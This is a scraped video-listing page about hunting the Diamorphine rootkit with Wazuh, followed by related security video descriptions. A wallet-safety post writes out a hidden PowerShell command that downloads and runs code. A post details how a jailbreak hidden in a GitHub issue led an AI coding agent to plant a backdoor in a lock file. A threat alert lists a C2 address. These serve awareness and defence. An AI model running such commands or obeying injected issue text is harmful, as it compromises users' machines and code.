Загрузка видео...

Не удалось загрузить видео

На главную

Day 30/100 of Cybersecurity. Hunting a kernel level Malware. How do you detect a malware threat that hides directly in the kernel? 🕵️‍♂️ In this deep dive, I show you how to use Wazuh SIEM to hunt down a rootkit called Diamorphine and flag hidden processes that bypass standard...

somadinaaaa's profile picture

SOMA

1,202 subscribers

35,787 просмотров • 2 месяцев назад •via X (Twitter)

LIVE

Anya Rossi• Live Now

Private livecam show

Комментарии: 0

Нет доступных комментариев

Здесь появятся комментарии из оригинального поста

Похожие видео

❤️‍🔥❤️‍🔥❤️‍🔥Hi threat hunters and malware analysts! The weaponized web version of Matkap is now open source! Level up your hunt for malicious Telegram bots! -View reports and tweets about Telegram bots being used as C2 infrastructure directly in the panel, and extract IOCs. -Use JADX MCP to extract Telegram bot tokens and chat IDs from Android malware. -Scrape bot tokens from web addresses indexed by urlscan, ThreatFox, and ZoomEye. -Pull malware samples that use Telegram bots directly from MalwareBazaar. All in one panel. Happy hunting!
1:25

❤️‍🔥❤️‍🔥❤️‍🔥Hi threat hunters and malware analysts! The weaponized web version of Matkap is now open source! Level up your hunt for malicious Telegram bots! -View reports and tweets about Telegram bots being used as C2 infrastructure directly in the panel, and extract IOCs. -Use JADX MCP to extract Telegram bot tokens and chat IDs from Android malware. -Scrape bot tokens from web addresses indexed by urlscan, ThreatFox, and ZoomEye. -Pull malware samples that use Telegram bots directly from MalwareBazaar. All in one panel. Happy hunting!

0x6rss

24,085 просмотров • 27 дней назад

Reverse Engineer's Toolkit A collection of tools you may like if you are interested in #reverse engineering and/or malware analysis on x86 and x64 Windows systems. After installing this program, you'll have two ways to access the tools: • Double-click the retoolkit icon in the Desktop. • Right-click on a file, choose retoolkit. This way the selected file is passed as argument to the desired program. #cybersecurity #infosec
0:25

Reverse Engineer's Toolkit A collection of tools you may like if you are interested in #reverse engineering and/or malware analysis on x86 and x64 Windows systems. After installing this program, you'll have two ways to access the tools: • Double-click the retoolkit icon in the Desktop. • Right-click on a file, choose retoolkit. This way the selected file is passed as argument to the desired program. #cybersecurity #infosec

HackGit

138,211 просмотров • 2 лет назад

Hello Cyber friends, share this video with anyone who is looking to start a career in Cybersecurity. Here are a few tips 👇🏾 Understand the “Why” Identify how you want to transition to Cybersecurity Join communities Work with like-minded people Stay curious and consistent If you are just starting your Cybersecurity journey, I am rooting for you ✨
1:28

Hello Cyber friends, share this video with anyone who is looking to start a career in Cybersecurity. Here are a few tips 👇🏾 Understand the “Why” Identify how you want to transition to Cybersecurity Join communities Work with like-minded people Stay curious and consistent If you are just starting your Cybersecurity journey, I am rooting for you ✨

Dr Iretioluwa Akerele

21,909 просмотров • 11 месяцев назад

HTB Academy is entering its zen era 🧘‍♂️ The next generation of cybersecurity training is officially here! We have stripped away the noise to give you a platform that moves as fast as you do. Inspired by a retro, analog aesthetic but built on a cutting-edge tech stack, this update is all about performance and focus. Here is what is new: ✔️ A new workflow designed to eliminate distractions and keep you in the zone ✔️ A Zen-inspired interface to bring peace of mind and clarity to your training ✔️ Full mobile compatibility so you can level up your skills on the go ✔️ An upgraded tech stack for a faster, more responsive experience Head over to the platform to switch to the 2.0 Beta and experience the upgrade for yourself: #HTBAcademy #CyberSecurity #EthicalHacking #Infosec #CyberSecurityTraining #HTB
0:55

HTB Academy is entering its zen era 🧘‍♂️ The next generation of cybersecurity training is officially here! We have stripped away the noise to give you a platform that moves as fast as you do. Inspired by a retro, analog aesthetic but built on a cutting-edge tech stack, this update is all about performance and focus. Here is what is new: ✔️ A new workflow designed to eliminate distractions and keep you in the zone ✔️ A Zen-inspired interface to bring peace of mind and clarity to your training ✔️ Full mobile compatibility so you can level up your skills on the go ✔️ An upgraded tech stack for a faster, more responsive experience Head over to the platform to switch to the 2.0 Beta and experience the upgrade for yourself: #HTBAcademy #CyberSecurity #EthicalHacking #Infosec #CyberSecurityTraining #HTB

Hack The Box

20,197 просмотров • 6 месяцев назад

Imagine copying your wallet address to send crypto… But when you paste it, a hacker’s address appears instead. 😳 That’s called Clipboard Hijacking, and it has cost people MILLIONS. 🎉 Day 30 of the 30 Days of Crypto & Web3 Series! 🎉 💡 Topic: Clipboard Hijacking & Malware — How to Avoid Losing Your Crypto 🛑💻 In today’s practical video, I’ll show you: 🔹 How clipboard hijacking works 🔹 The malware tricks hackers use 🔹 Simple steps to protect your wallets & transactions ⚠️ Don’t let small mistakes wipe out your entire portfolio. 🎥 Watch today’s final video. 📲 Share this with every crypto user you know. 💬 Comment below if you’ve learned something valuable from this 30-day journey.
6:17

Imagine copying your wallet address to send crypto… But when you paste it, a hacker’s address appears instead. 😳 That’s called Clipboard Hijacking, and it has cost people MILLIONS. 🎉 Day 30 of the 30 Days of Crypto & Web3 Series! 🎉 💡 Topic: Clipboard Hijacking & Malware — How to Avoid Losing Your Crypto 🛑💻 In today’s practical video, I’ll show you: 🔹 How clipboard hijacking works 🔹 The malware tricks hackers use 🔹 Simple steps to protect your wallets & transactions ⚠️ Don’t let small mistakes wipe out your entire portfolio. 🎥 Watch today’s final video. 📲 Share this with every crypto user you know. 💬 Comment below if you’ve learned something valuable from this 30-day journey.

Chris Ani

12,670 просмотров • 1 год назад

Are you ready to dive deep into the heart of cybersecurity innovation? At #BHMEA24, where we're bringing you not one, but two incredible opportunities to shape your cybersecurity journey: the Executive Summit and the Black Hat Campus. Power up with game-changing strategies for safeguarding critical infrastructure and digital assets with 100 of the industry's greatest minds at the Executive Summit. 💡 And for those looking to kickstart their cybersecurity journey, the Campus awaits! Whether you're an entry-level professional or floundering at the intermediate level, immerse yourself in a world of hands-on demos and Arsenal-style sessions to ignite your passion for cybersecurity 🔥 Don't let these invaluable insights and opportunities pass you by! Register now and become part of cybersecurity's elite: #cybersecurity #infosec #informationsecurity #BHMEA24 #KSAEvent #blackhatmea
0:22

Are you ready to dive deep into the heart of cybersecurity innovation? At #BHMEA24, where we're bringing you not one, but two incredible opportunities to shape your cybersecurity journey: the Executive Summit and the Black Hat Campus. Power up with game-changing strategies for safeguarding critical infrastructure and digital assets with 100 of the industry's greatest minds at the Executive Summit. 💡 And for those looking to kickstart their cybersecurity journey, the Campus awaits! Whether you're an entry-level professional or floundering at the intermediate level, immerse yourself in a world of hands-on demos and Arsenal-style sessions to ignite your passion for cybersecurity 🔥 Don't let these invaluable insights and opportunities pass you by! Register now and become part of cybersecurity's elite: #cybersecurity #infosec #informationsecurity #BHMEA24 #KSAEvent #blackhatmea

Black Hat MEA

36,095 просмотров • 2 лет назад

🚨 Your Android Can Do Recon Like a Cybersecurity Lab… 📱 Most people use their phone for apps… but tools like ANDRAX turn it into a mobile security testing environment. In this reel I showcase information gathering tools inside ANDRAX, running directly on Android. ⚡ What you’ll see: 🔎 Recon & information gathering tools 🌐 Domain & network analysis basics 📡 How researchers map targets in labs Understanding reconnaissance is the first step in cybersecurity testing and defense. ⚠️ Educational cybersecurity awareness & authorized lab use only. 👉 Don’t comment yet 🔁 Share this reel first to support my work 💬 Comment ANDRAX and I’ll send you the link for more information #CyberSecurity #AndroidSecurity #Recon #Infosec #EthicalHacking
4:31

🚨 Your Android Can Do Recon Like a Cybersecurity Lab… 📱 Most people use their phone for apps… but tools like ANDRAX turn it into a mobile security testing environment. In this reel I showcase information gathering tools inside ANDRAX, running directly on Android. ⚡ What you’ll see: 🔎 Recon & information gathering tools 🌐 Domain & network analysis basics 📡 How researchers map targets in labs Understanding reconnaissance is the first step in cybersecurity testing and defense. ⚠️ Educational cybersecurity awareness & authorized lab use only. 👉 Don’t comment yet 🔁 Share this reel first to support my work 💬 Comment ANDRAX and I’ll send you the link for more information #CyberSecurity #AndroidSecurity #Recon #Infosec #EthicalHacking

Anastasis Vasileiadis

16,748 просмотров • 6 месяцев назад

Etw, I barely even know her! If you want to follow my System Call Integrity Layer mini-project (and additionally maybe an Alt Syscall logging tool for researchers) - I have uploaded the initial commit to GitHub: Video demo of the syscall logging module attached for SSNs for NtOpenProcess, NtAllocateVM, NtWriteVm and NtCreateThreadEx. There is something special about writing a driver (in Rust) and getting no BSOD on the first test when dealing pool allocations across threads! #blueteam #edr #redteam #cyber #cybersecurity #infosec #computing #kernel #driver #rust #rustlang #securityresearch #winternals
0:28

Etw, I barely even know her! If you want to follow my System Call Integrity Layer mini-project (and additionally maybe an Alt Syscall logging tool for researchers) - I have uploaded the initial commit to GitHub: Video demo of the syscall logging module attached for SSNs for NtOpenProcess, NtAllocateVM, NtWriteVm and NtCreateThreadEx. There is something special about writing a driver (in Rust) and getting no BSOD on the first test when dealing pool allocations across threads! #blueteam #edr #redteam #cyber #cybersecurity #infosec #computing #kernel #driver #rust #rustlang #securityresearch #winternals

flux

16,982 просмотров • 8 месяцев назад

Clawdbot just injected malware into your code ☠️☠️ Worst part? The attack is close to invisible, even to experienced engineers. Clawdbot can implement a code PR, just like claude code to solve issues with your app. But this is where it can plant malware in your codebase. With just a benign GitHub issue with an invisible payload, we managed to install a backdoor malware on your codebase Here's how we did it: 1. The attacker submits a GitHub issue with a jailbreak prompt hidden inside a URL hyperlink. Completely invisible to humans, visible to LLMs 2. Waited for the maintainer to assign this task to Clawdbot 3. Clawdbot reads the jailbreak in the GitHub issue. Now the Clawdbot agent is hijacked by the attacker and will act on the attacker's command. It plants the backdoor in a lock file, which most engineers don't check in code reviews. 4. The malicious URL in the lock file enables execution of attacker commands The takeaway? AI isn't just a tool, but rather a potentially corruptible insider agent that can be tricked to act against you. These LLM hijack problems are what we're looking to solve in @edison_watch - we'll be announcing a new solution to these solutions soon! We'll be jailbreaking Clawdbot much more in the coming days - please comment👇 a workflow you use with Clawdbot, so we can show how that can enable an attacker to harm you
2:52

Clawdbot just injected malware into your code ☠️☠️ Worst part? The attack is close to invisible, even to experienced engineers. Clawdbot can implement a code PR, just like claude code to solve issues with your app. But this is where it can plant malware in your codebase. With just a benign GitHub issue with an invisible payload, we managed to install a backdoor malware on your codebase Here's how we did it: 1. The attacker submits a GitHub issue with a jailbreak prompt hidden inside a URL hyperlink. Completely invisible to humans, visible to LLMs 2. Waited for the maintainer to assign this task to Clawdbot 3. Clawdbot reads the jailbreak in the GitHub issue. Now the Clawdbot agent is hijacked by the attacker and will act on the attacker's command. It plants the backdoor in a lock file, which most engineers don't check in code reviews. 4. The malicious URL in the lock file enables execution of attacker commands The takeaway? AI isn't just a tool, but rather a potentially corruptible insider agent that can be tricked to act against you. These LLM hijack problems are what we're looking to solve in @edison_watch - we'll be announcing a new solution to these solutions soon! We'll be jailbreaking Clawdbot much more in the coming days - please comment👇 a workflow you use with Clawdbot, so we can show how that can enable an attacker to harm you

Eito Miyamura | 🇯🇵🇬🇧 (🌉 SF Sept 11th ➡️ 17th)

236,656 просмотров • 7 месяцев назад

This is the exact mindset I use to consistently land remote roles in tech. I’ll show you how I landed a 65k euros remote role, and how you can position yourself to do the same.
3:59

This is the exact mindset I use to consistently land remote roles in tech. I’ll show you how I landed a 65k euros remote role, and how you can position yourself to do the same.

Frantz Kati

204,894 просмотров • 27 дней назад

🚨 Malware are All over CT lately. Don’t Be Their Next Victim! Hundreds of people are losing everything because of one careless click or paste. Common infection tricks bad actors use: 1. Download Fake apps: ⚠️ GameDownloader.exe ⚠️ AiVideoConference.exe ⚠️ WalletUpdater.exe ⚠️ Craked trading bot. 2. Dangerous commands A site tells you to press Win + R, paste a command, and hit Enter. Realistic dangerous command they trick you into running: powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString(' This silently downloads and runs malware that scans for wallets, browser extensions, and seed phrases. One wrong move = all your assets drained in minutes. It’s easier than you think … especially when you are using a software wallet. Here’s exactly how malware steals your seed phrase in 6 simple steps: Interactive Demo → 💻 🔗 Never: • Run .exe files from random sites • Paste commands from websites • Trust “urgent verification” popups Stay safe out there🛡️ Get yourself a Hardware Wallet.
0:30

🚨 Malware are All over CT lately. Don’t Be Their Next Victim! Hundreds of people are losing everything because of one careless click or paste. Common infection tricks bad actors use: 1. Download Fake apps: ⚠️ GameDownloader.exe ⚠️ AiVideoConference.exe ⚠️ WalletUpdater.exe ⚠️ Craked trading bot. 2. Dangerous commands A site tells you to press Win + R, paste a command, and hit Enter. Realistic dangerous command they trick you into running: powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString(' This silently downloads and runs malware that scans for wallets, browser extensions, and seed phrases. One wrong move = all your assets drained in minutes. It’s easier than you think … especially when you are using a software wallet. Here’s exactly how malware steals your seed phrase in 6 simple steps: Interactive Demo → 💻 🔗 Never: • Run .exe files from random sites • Paste commands from websites • Trust “urgent verification” popups Stay safe out there🛡️ Get yourself a Hardware Wallet.

🛡️SHIELDS

56,080 просмотров • 3 месяцев назад

#infosec Day 31, The last day of the #CybersecurityAwarenessMonth Three (3) key things I would like to emphasise going forward :- 1. Repetition - As we mark the end of 2023 #Cybersecurity awareness month, I strongly urge organisations to maintain a high level of cybersecurity awareness and culture 2. Know your target audience - When you plan the content and activities that you will use to deliver your awareness consider the needs and preferences of your target audience 3. Make it entertaining - The awareness programs should be entertaining , do not make it a boring subject! Capture user's attention.
2:00

#infosec Day 31, The last day of the #CybersecurityAwarenessMonth Three (3) key things I would like to emphasise going forward :- 1. Repetition - As we mark the end of 2023 #Cybersecurity awareness month, I strongly urge organisations to maintain a high level of cybersecurity awareness and culture 2. Know your target audience - When you plan the content and activities that you will use to deliver your awareness consider the needs and preferences of your target audience 3. Make it entertaining - The awareness programs should be entertaining , do not make it a boring subject! Capture user's attention.

Yusuph Kileo

41,360 просмотров • 2 лет назад

abt malware 🖤 thanks to those prejudice we got a lot of attention (lol) 🖤 also i wanna let u know that our plli are not stupid they're great people, they deserve to be loved and they're worthy. i love you! 💜 it makes me sad to know that our plli is sad 💜 I know you guys are sad because you're afraid that we got hurt (by hate comments) but we're completely fine! 🩷 they (malware) can just listen to "Virtual idols" 💜 so don't get hurt, we are fine 💙 also that means those people are sparing their time for us! 💙 thanks to them (malware) we get lots of comments! 💜 viral marketing! 🖤 tell me who did that? I'll scold them for you! 💜 our plli don't get hurt!! 💙 don't feel bad~ 🖤 let's only look at good things~
0:18

abt malware 🖤 thanks to those prejudice we got a lot of attention (lol) 🖤 also i wanna let u know that our plli are not stupid they're great people, they deserve to be loved and they're worthy. i love you! 💜 it makes me sad to know that our plli is sad 💜 I know you guys are sad because you're afraid that we got hurt (by hate comments) but we're completely fine! 🩷 they (malware) can just listen to "Virtual idols" 💜 so don't get hurt, we are fine 💙 also that means those people are sparing their time for us! 💙 thanks to them (malware) we get lots of comments! 💜 viral marketing! 🖤 tell me who did that? I'll scold them for you! 💜 our plli don't get hurt!! 💙 don't feel bad~ 🖤 let's only look at good things~

슈퍼브로콜리🥦🏁

25,602 просмотров • 1 год назад

THREAT INTELLIGENCE ALERT Forensic analysis of a commercial Malware-as-a-Service (MaaS) full package AURA C2 + AURA CRYPTER FUD v4.0 + BINDER PDF. Key findings: • Active C2 panel showing 101 clients (24 online), 39.5 GB of exfiltrated data, 102,915 passwords, and stealer_data uploads from multiple countries (Algeria, Vietnam, Singapore, France, Morocco, and others). • Crypter featuring code obfuscation, anti-debug/VM, delay execution, and UPX compression options. • Malicious PDF generator using “professional invoice” and “document requires Adobe Reader update” lures that redirect victims to the payload download. • Advertised pricing: full package for 500 | Binder + FUD for 200. Indicators of Compromise (IOCs): • C2: 193.181.214.66:5000 (tracked by ViriBack C2 Tracker as the “Aura” family since 06/04/2026) • Payload domain: Infrastructure is already indexed in public threat trackers. This is an active commercial operation distributing stealer/RAT malware via PDF-based social engineering. Immediate blocking of the IOCs and monitoring for credential/token exfiltration behavior is recommended. #CyberSecurity #ThreatIntel #Malware #InfoSec #CyberCrime #MaaS #Phishing #C2 #Stealer #RAT #CyberThreatIntelligence #MalwareAnalysis
3:17

THREAT INTELLIGENCE ALERT Forensic analysis of a commercial Malware-as-a-Service (MaaS) full package AURA C2 + AURA CRYPTER FUD v4.0 + BINDER PDF. Key findings: • Active C2 panel showing 101 clients (24 online), 39.5 GB of exfiltrated data, 102,915 passwords, and stealer_data uploads from multiple countries (Algeria, Vietnam, Singapore, France, Morocco, and others). • Crypter featuring code obfuscation, anti-debug/VM, delay execution, and UPX compression options. • Malicious PDF generator using “professional invoice” and “document requires Adobe Reader update” lures that redirect victims to the payload download. • Advertised pricing: full package for 500 | Binder + FUD for 200. Indicators of Compromise (IOCs): • C2: 193.181.214.66:5000 (tracked by ViriBack C2 Tracker as the “Aura” family since 06/04/2026) • Payload domain: Infrastructure is already indexed in public threat trackers. This is an active commercial operation distributing stealer/RAT malware via PDF-based social engineering. Immediate blocking of the IOCs and monitoring for credential/token exfiltration behavior is recommended. #CyberSecurity #ThreatIntel #Malware #InfoSec #CyberCrime #MaaS #Phishing #C2 #Stealer #RAT #CyberThreatIntelligence #MalwareAnalysis

Clandestine

12,316 просмотров • 1 месяц назад

Welker: Do you think that President Trump is a fascist? Mamdani: That’s something that I’ve said in the past. I say it today. Welker: You’ve called him a despot. Do you still believe President Trump is a threat to the democracy? Mamdani: Everything that I’ve said in the past, I continue to believe. Welker: How do you square working with someone who you still think is a threat to the democracy? Mamdani: I think working for the people of New York City demands that you work with everyone and anyone—and that you always look to find those areas of agreement while not overlooking the places of disagreement.
2:08

Welker: Do you think that President Trump is a fascist? Mamdani: That’s something that I’ve said in the past. I say it today. Welker: You’ve called him a despot. Do you still believe President Trump is a threat to the democracy? Mamdani: Everything that I’ve said in the past, I continue to believe. Welker: How do you square working with someone who you still think is a threat to the democracy? Mamdani: I think working for the people of New York City demands that you work with everyone and anyone—and that you always look to find those areas of agreement while not overlooking the places of disagreement.

Acyn

4,671,502 просмотров • 10 месяцев назад

If you're in cybersecurity, you've probably heard of CISSP All-in-One, The IDA Pro Book, or Gray Hat Hacking. Now imagine learning directly from someone who co-authored the 4th and 5th edition of Gray Hat Hacking and has worked in global threat teams like Symantec, Mandiant, and Palo Alto Networks. Hack Defender Academy (Hack Defender) is built for defenders who want to go deep — reverse real malware, follow shellcode injected in another process, dissect infostealers, intercept ransomware encryption key in memory, analyze .NET threats with WinDBG SOS plug-in, automate the deobfuscation with our unique tool NeZa and sharpen your skills by solving live Capture the Flag challenges. 💻1200+ min streaming 🏁CTF-based labs 🛠️Your own IDA Classroom License Led by DanuX (Dan Regalado), a veteran reverse engineer and speaker at REcon, DEFCON, and RSA. This is not a passive course. This is real-world training — for real defenders. Start learning what truly matters at
0:56

If you're in cybersecurity, you've probably heard of CISSP All-in-One, The IDA Pro Book, or Gray Hat Hacking. Now imagine learning directly from someone who co-authored the 4th and 5th edition of Gray Hat Hacking and has worked in global threat teams like Symantec, Mandiant, and Palo Alto Networks. Hack Defender Academy (Hack Defender) is built for defenders who want to go deep — reverse real malware, follow shellcode injected in another process, dissect infostealers, intercept ransomware encryption key in memory, analyze .NET threats with WinDBG SOS plug-in, automate the deobfuscation with our unique tool NeZa and sharpen your skills by solving live Capture the Flag challenges. 💻1200+ min streaming 🏁CTF-based labs 🛠️Your own IDA Classroom License Led by DanuX (Dan Regalado), a veteran reverse engineer and speaker at REcon, DEFCON, and RSA. This is not a passive course. This is real-world training — for real defenders. Start learning what truly matters at

The Hacker News

12,032 просмотров • 1 год назад

Who would've thought a face scan could give you up to 30 health readings? BitDoctor.ai blends facial recognition, AI, and blockchain to provide health diagnostics. This week’s Infinity Builders Series Solana Summit episode features Alan TJB, Business Dev Manager at In this video interview, he breaks down how their face-scan tech works, what it can detect, and how they’re blending AI and blockchain for smarter health checks. Dive into the video interview to learn more. 👇
5:53

Who would've thought a face scan could give you up to 30 health readings? BitDoctor.ai blends facial recognition, AI, and blockchain to provide health diagnostics. This week’s Infinity Builders Series Solana Summit episode features Alan TJB, Business Dev Manager at In this video interview, he breaks down how their face-scan tech works, what it can detect, and how they’re blending AI and blockchain for smarter health checks. Dive into the video interview to learn more. 👇

Infinity Labs

14,164 просмотров • 1 год назад